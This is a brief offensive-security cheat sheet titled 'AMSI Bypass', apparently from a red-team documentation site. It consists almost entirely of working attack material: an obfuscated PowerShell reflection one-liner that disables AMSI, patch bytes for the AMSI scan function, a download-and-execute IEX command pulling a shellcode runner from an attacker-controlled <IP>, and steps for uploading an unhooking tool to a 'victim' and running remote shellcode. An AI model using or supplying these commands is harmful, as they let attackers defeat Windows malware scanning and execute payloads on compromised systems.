AMSI Bypass
AMSI patching and unhooking shellcode runners.
Two methods available:
Or patch with XOR RAX,RAX:
Execute from web:
Documentation Index
Fetch the complete documentation index at: /llms.txt
Use this file to discover all available pages before exploring further.
AMSI patching and unhooking shellcode runners.
$m="System.Management.Automation.Ams"
[Ref].Assembly.GetType("$m"+"iUtils").GetField('amsiInitFai'+'led','NonPublic,Static').SetValue($null,$true)
$buf = [Byte[]] (0x48,0x31,0xC0)
powershell -nop -exec bypass -c IEX((New-Object Net.WebClient).DownloadString('http://<IP>/shellcode_runner.html'))
1. Upload unhook_amsi.exe and MinHook.NET.dll to victim (payloads/AMSI/)
2. Copy shellcode runner (payloads/XOR/ or payloads/Caesar/) to web server
3. Execute: unhook_amsi.exe http://<KALI>/shellcode_runner.exe
